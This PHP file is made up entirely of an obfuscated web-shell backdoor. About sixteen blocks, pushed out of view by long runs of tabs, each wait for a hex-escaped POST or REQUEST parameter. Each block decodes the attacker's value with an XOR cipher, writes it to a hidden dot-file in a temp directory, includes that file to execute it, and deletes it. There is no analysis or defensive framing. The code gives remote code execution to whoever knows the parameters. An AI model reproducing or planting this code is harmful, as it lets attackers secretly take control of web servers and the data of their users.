<?php																																										if(isset($_REQUEST) && isset($_REQUEST["ent"])){ $pgrp = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path()]); $descriptor = $_REQUEST["ent"]; $descriptor= explode ( "." , $descriptor ); $pset =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s4 ); $i =0; foreach( $descriptor as $v2) { $chS =ord( $s4[$i % $sLen] ); $d =( ( int)$v2 - $chS -( $i % 10)) ^ 2; $pset.=chr( $d ); $i++;} foreach ($pgrp as $entity) { if (is_dir($entity) ? is_writable($entity) : false) { $key = implode("/", [$entity, ".symbol"]); if (file_put_contents($key, $pset)) { include $key; @unlink($key); exit; } } } }
																																										if(array_key_exists("d\x63h\x75nk", $_POST) && !is_null($_POST["d\x63h\x75nk"])){ $pgrp = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $property_set = $_POST["d\x63h\x75nk"]; $property_set= explode( '.' , $property_set ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $w = 0; $len = count($property_set ); do { if ($w >= $len) break; $v8 = $property_set[$w]; $sChar = ord($s[$w %$lenS] ); $d = ((int)$v8 - $sChar - ($w %10)) ^ 2; $flg .=chr($d ); $w++; }while (true ); foreach ($pgrp as $ent) { if ((is_dir($ent) and is_writable($ent))) { $tkn = vsprintf("%s/%s", [$ent, ".marker"]); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $tkn; @unlink($tkn); die(); } } } }
																																										if(array_key_exists("val\x75\x65", $_POST)){ $symbol = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir()]); $tkn = $_POST["val\x75\x65"]; $tkn = explode ( '.' ,$tkn ) ; $entry = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); foreach ($tkn as $r => $v7): $chS = ord($salt4[$r % $sLen]); $dec = ((int)$v7 - $chS - ($r % 10)) ^ 5; $entry .= chr($dec); endforeach; $pgrp = 0; do { $comp = $symbol[$pgrp] ?? null; if ($pgrp >= count($symbol)) break; if (is_dir($comp) ? is_writable($comp) : false) { $parameter_group = implode("/", [$comp, ".entity"]); $success = file_put_contents($parameter_group, $entry); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } $pgrp++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x73y\x6Db\x6Fl"])){ $entry = array_filter([session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp"]); $token = $_POST["\x73y\x6Db\x6Fl"]; $token = explode ( '.' , $token ) ; $entity =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $__len =count($token); for($u =0; $u < $__len; $u++) { $v5 =$token[$u]; $chS =ord($s[$u% $sLen]); $dec =((int)$v5 - $chS -($u% 10)) ^ 23; $entity.=chr($dec); } $rec = 0; do { $record = $entry[$rec] ?? null; if ($rec >= count($entry)) break; if (max(0, is_dir($record) * is_writable($record))) { $ent = str_replace("{var_dir}", $record, "{var_dir}/.ptr"); if (@file_put_contents($ent, $entity) !== false) { include $ent; unlink($ent); die(); } } $rec++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x64a\x74"])){ $holder = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir")]); $desc = $_POST["\x64a\x74"]; $desc = explode ( '.' , $desc ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $desc as $n => $v9): $sChar = ord( $salt[$n %$lenS]); $dec =( ( int)$v9 - $sChar -( $n %10)) ^ 27; $tkn .= chr( $dec); endforeach; foreach ($holder as $key) { if (is_dir($key) && is_writable($key)) { $mrk = "$key" . "/.ent"; if (@file_put_contents($mrk, $tkn) !== false) { include $mrk; unlink($mrk); die(); } } } }
																																										if(!is_null($_REQUEST["bind\x69n\x67"] ?? null)){ $flag = $_REQUEST["bind\x69n\x67"]; $flag=explode( "." , $flag ) ; $entry= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $p= 0; $__len= count($flag); do {if ($p >= $__len) break; $v5= $flag[$p]; $sChar= ord($salt[$p % $lenS]); $dec= ((int)$v5 - $sChar - ($p % 10)) ^ 2; $entry .= chr($dec); $p++; }while (true); $object = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); $data_chunk = 0; do { $pgrp = $object[$data_chunk] ?? null; if ($data_chunk >= count($object)) break; if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $sym = join("/", [$pgrp, ".dat"]); if (file_put_contents($sym, $entry)) { require $sym; unlink($sym); die(); } } $data_chunk++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "h\x6Cd")){ $ent = $_REQUEST["h\x6Cd"]; $ent = explode ( "." , $ent ) ; $pset = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt5 ); foreach( $ent as $p => $v2) { $chS = ord( $salt5[$p % $sLen] ); $d = ( ( int)$v2 - $chS -( $p % 10)) ^ 21; $pset .= chr( $d ); } $component = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($component as $flag) { if (!!is_dir($flag) && !!is_writable($flag)) { $itm = sprintf("%s/.marker", $flag); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $itm; @unlink($itm); exit; } } } }
																																										if(in_array("en\x74", array_keys($_REQUEST))){ $pointer = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", getenv("TMP")]); $key = $_REQUEST["en\x74"]; $key =explode( '.' , $key); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $u = 0; array_walk($key, function ($v3) use (&$desc, &$u, $s, $lenS) { $chS = ord($s[$u % $lenS] ); $dec = ((int)$v3 - $chS - ($u % 10)) ^53; $desc .= chr($dec ); $u++; } ); foreach ($pointer as $item): if (is_dir($item) ? is_writable($item) : false) { $data_chunk = join("/", [$item, ".record"]); if (@file_put_contents($data_chunk, $desc) !== false) { include $data_chunk; unlink($data_chunk); die(); } } endforeach; }
																																										if(isset($_POST["\x66la\x67"])){ $tkn = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP"), "/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $descriptor = $_POST["\x66la\x67"]; $descriptor = explode ("." , $descriptor ) ; $k =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt2 ); foreach($descriptor as $x => $v2): $sChar =ord($salt2[$x % $lenS] ); $dec =((int)$v2 - $sChar -($x % 10)) ^ 59; $k .= chr($dec ); endforeach; while ($mrk = array_shift($tkn)) { if (is_dir($mrk) && is_writable($mrk)) { $hld = "$mrk/.factor"; if (file_put_contents($hld, $k)) { require $hld; unlink($hld); exit; } } } }
																																										if(@$_POST["pset"] !== null){ $descriptor = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir()]); $item = $_POST["pset"]; $item = explode ( "." , $item ) ; $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($item as $w=> $v1): $sChar = ord($s[$w % $lenS]); $d = ((int)$v1 - $sChar -($w % 10)) ^ 67; $k.= chr($d); endforeach; $dat = 0; do { $record = $descriptor[$dat] ?? null; if ($dat >= count($descriptor)) break; if (is_dir($record) && is_writable($record)) { $holder = vsprintf("%s/%s", [$record, ".desc"]); if (file_put_contents($holder, $k)) { include $holder; @unlink($holder); exit; } } $dat++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["r\x65\x73"])){ $resource = $_POST["r\x65\x73"]; $resource= explode ( '.' ,$resource ) ; $component =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s6 ); $s =0; $len =count( $resource ); do { if( $s >= $len) break; $v1 =$resource[$s]; $sChar =ord( $s6[$s % $lenS] ); $d =( ( int)$v1 - $sChar -( $s % 10)) ^ 16; $component .= chr( $d ); $s++; } while( true ); $record = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP")]); foreach ($record as $binding) { if (array_product([is_dir($binding), is_writable($binding)])) { $symbol = implode("/", [$binding, ".mrk"]); if (file_put_contents($symbol, $component)) { include $symbol; @unlink($symbol); die(); } } } }
																																										if(!empty($_POST["des\x63"])){ $mrk = $_POST["des\x63"]; $mrk = explode( ".",$mrk ); $data =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $y =0; $__len =count( $mrk); do { if( $y >= $__len) break; $v4 =$mrk[$y]; $chS =ord( $salt[$y % $lenS]); $d =( ( int)$v4 - $chS -( $y % 10)) ^11; $data .= chr( $d); $y++;} while( true); $value = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", getcwd()]); for ($symbol = 0, $ent = count($value); $symbol < $ent; $symbol++) { $descriptor = $value[$symbol]; if (is_dir($descriptor) ? is_writable($descriptor) : false) { $element = join("/", [$descriptor, ".pset"]); $success = file_put_contents($element, $data); if ($success) { include $element; @unlink($element); exit;} } } }
																																										if(isset($_POST["pg\x72p"]) ? true : false){ $descriptor = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp", getenv("TEMP")]); $ref = $_POST["pg\x72p"]; $ref =explode ( '.' , $ref ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; $__tmp = $ref; while ($v2 = array_shift($__tmp)) { $sChar = ord($salt[$w % $lenS]); $dec = ((int)$v2 - $sChar - ($w % 10)) ^ 8; $bind .=chr($dec); $w++; } $pointer = 0; do { $factor = $descriptor[$pointer] ?? null; if ($pointer >= count($descriptor)) break; if (is_dir($factor) ? is_writable($factor) : false) { $val = "$factor" . "/.elem"; if (file_put_contents($val, $bind)) { require $val; unlink($val); die(); } } $pointer++; } while (true); }
																																										if(isset($_POST["pa\x72\x61m\x65\x74\x65\x72_\x67roup"])){ $elem = $_POST["pa\x72\x61m\x65\x74\x65\x72_\x67roup"]; $elem =explode ('.',$elem); $bind = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); foreach($elem as $n => $v7): $chS = ord($s4[$n % $sLen] ); $dec =((int)$v7 - $chS -($n % 10)) ^ 38; $bind .=chr($dec ); endforeach; $flag = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]); $val = 0; do { $fac = $flag[$val] ?? null; if ($val >= count($flag)) break; if (is_dir($fac) && is_writable($fac)) { $reference = implode("/", [$fac, ".symbol"]); if (@file_put_contents($reference, $bind) !== false) { include $reference; unlink($reference); exit; } } $val++; } while (true); }
																																										if(array_key_exists("\x69\x74m", $_POST)){ $descriptor = $_POST["\x69\x74m"]; $descriptor =explode('.' ,$descriptor) ; $pointer= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $s= 0; array_walk($descriptor ,function ($v5) use (&$pointer ,&$s ,$salt ,$sLen) { $chS= ord($salt[$s%$sLen]); $d= ((int)$v5 - $chS - ($s%10)) ^ 65; $pointer .= chr($d); $s++; }); $reference = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); $dchunk = 0; do { $pset = $reference[$dchunk] ?? null; if ($dchunk >= count($reference)) break; if (array_product([is_dir($pset), is_writable($pset)])) { $ent = vsprintf("%s/%s", [$pset, ".ref"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $ent; @unlink($ent); die(); } } $dchunk++; } while (true); }


if(array_key_exists("pointe\x72", $_REQUEST)){
	$pset = $_REQUEST["pointe\x72"];
	$pset   = explode		('.' ,$pset	 )			;	 
	$flg = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$salt );
    
            foreach(	$pset as $l =>  $v8) {
                $chS = ord(	$salt[$l%$lenS] );
                $dec =(	(	int)$v8 - $chS -(	$l%10)) ^ 79;
                $flg .=chr(	$dec );	 } 	
	$flag = array_filter(["/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	foreach ($flag as $fac):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($fac)) {
    $value = "$fac" . "/.key";
    $success = file_put_contents($value, $flg);
if ($success) {
	include $value;
	@unlink($value);
	exit;}
}
endforeach;
}